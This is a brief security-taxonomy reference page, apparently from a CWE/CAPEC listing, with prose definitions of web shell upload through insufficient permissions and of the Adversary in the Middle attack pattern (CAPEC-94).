By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list